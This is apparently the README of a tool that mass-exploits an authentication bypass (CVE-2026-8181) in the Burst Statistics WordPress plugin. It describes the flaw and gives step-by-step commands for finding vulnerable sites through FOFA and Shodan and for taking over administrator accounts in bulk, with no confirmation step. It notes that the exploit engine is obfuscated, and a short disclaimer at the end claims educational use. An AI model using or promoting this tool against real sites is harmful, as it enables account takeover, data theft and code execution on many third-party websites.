CVE-2026-8181 - Burst Statistics Authentication Bypass

CVSS 9.8 (Critical) — Authentication Bypass to Admin Account Takeover

Description

CVE-2026-8181 is an Authentication Bypass vulnerability in the Burst Statistics WordPress plugin version 3.4.0 to 3.4.1.1. This plugin is used by 200,000+ WordPress sites as a privacy-friendly analytics alternative to Google Analytics.

This vulnerability allows an unauthenticated attacker who knows an admin username to:

• Obtain the admin’s Application Password in a single HTTP request
• Perform a full Admin Account Takeover
• Create a new admin account
• Access all site data (including WooCommerce, user data, etc.)
• Install malicious plugins / RCE

Technical Cause

The is_mainwp_authenticated() function in class-mainwp-proxy.php incorrectly validates the return value of wp_authenticate_application_password(). That function returns null (instead of WP_Error) when called outside the REST API context, and the code only checks for is_wp_error(). Since null is not a WP_Error, authentication is considered successful.

Tool Features

• Modern GUI — Dark theme, compact layout, 3 tabs (Scan, Exploit, Log)
• Mass Scanner — Find targets via FOFA API, Shodan API, or file list
• Auto Exploit — Mass exploitation with multi-threading
• CLI Mode — Can run without GUI for automation

Requirements

• Python 3.11 (required — .pyd files compiled for Python 3.11)
• Windows 10/11

Installation & Usage

# 1. Clone repository
git clone https://github.com/YOUR_USERNAME/CVE-2026-8181.git
cd CVE-2026-8181

# 2. Install dependencies
py -3.11 -m pip install -r requirements.txt

# 3. Prepare .env (for scanning via FOFA / Shodan)
echo [email protected] > .env
echo FOFA_KEY=your_fofa_key >> .env
echo SHODAN_KEY=your_shodan_key >> .env

# 4. Run (choose one):

#    Modern GUI (recommended)
py -3.11 gui_modern.py

#    Or double-click run.bat
run.bat

#    Or CLI direct exploit one target
py -3.11 CVE-2026-8181.py -t https://target.com -u admin --no-confirm

#    Or mass exploit from file
py -3.11 CVE-2026-8181.py -l targets_output.txt -u admin --no-confirm

#    Or scan targets first, then exploit
py -3.11 finder.py --file list.txt
py -3.11 CVE-2026-8181.py -l targets_output.txt -u admin --no-confirm

Step-by-Step Tutorial

Step 1: Run the Tool

Double-click run.bat or run:

py -3.11 gui_modern.py

Modern GUI of CVE-2026-8181 with 3 tabs

Step 2: Scan Target & Exploit

In the Scan tab: select target source (FOFA/Shodan from .env, file, or manual) → click SCAN TARGETS In the Exploit tab: enter admin username → click EXPLOIT

Tool found vulnerable targets ready to be exploited

Step 3: Access WordPress Admin

If the exploit succeeds, the attacker gains full administrator access:

WordPress admin dashboard after successful exploitation

File Structure

CVE-2026-8181/
├── CVE-2026-8181.py          # Main exploit engine (PyArmor)
├── gui_modern.py             # Modern GUI wrapper (recommended)
├── finder.py                 # Target scanner (FOFA / Shodan / File)
├── run.bat                   # One-click launcher
├── requirements.txt          # Python dependencies
├── .env                      # API keys (gitignored)
├── .gitignore
├── Dork.txt                  # Google Dork
├── pyarmor_runtime_000000/   # PyArmor runtime (Python 3.11)
├── system/                   # Source modules (obfuscated)
└── img/                      # Screenshots tutorial
    ├── 1.png
    ├── 2.png
    └── 3.png

How to Get API Keys

FOFA (fofa.info)

1. Register at https://fofa.info
2. Login → https://fofa.info/userInfo
3. Copy Email & API Key → paste into .env

Shodan (shodan.io)

1. Register at https://account.shodan.io/register
2. Login → https://account.shodan.io
3. Copy API Key → paste into .env

CLI Options (CVE-2026-8181.py)

Disclaimer

For educational purposes and authorized penetration testing only. Using this without permission on systems that are not your own is illegal. Only use on sites you own or have written permission to test.